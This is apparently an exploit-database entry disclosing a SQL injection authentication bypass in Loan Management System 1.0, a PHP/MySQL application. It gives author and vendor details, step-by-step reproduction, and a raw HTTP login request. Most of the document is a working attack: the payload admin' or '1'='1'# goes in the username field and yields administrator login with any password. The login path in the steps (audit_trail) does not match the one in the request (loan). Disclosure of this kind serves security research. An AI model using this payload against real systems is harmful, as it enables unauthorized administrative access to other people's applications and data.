Loan Management System 1.0 - SQLi Authentication Bypass

# Exploit Title: Loan Management System 1.0 - SQLi Authentication Bypass
# Date: 08.10.2021
# Exploit Author: Merve Oral
# Vendor Homepage: https://www.sourcecodester.com/php/14471/loan-management-system-using-phpmysql-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14471&title=Loan+Management+System+using+PHP%2FMySQL+with+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.

Steps To Reproduce:
1 - Go to the login page http://localhost/audit_trail/login.php
2 - Enter the payload to username field as "admin' or '1'='1'#" without double-quotes and type anything to password field.
3 - Click on "Login" button and you are logged in as administrator.

PoC

POST /loan/ajax.php?action=login HTTP/1.1
Host: merve
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 44
Origin: http://merve
Connection: close
Referer: http://merve/loan/login.php
Cookie: PHPSESSID=911fclrpoa87v9dsp9lh28ck0h

username=admin'+or+'1'%3D'1'%23&password=any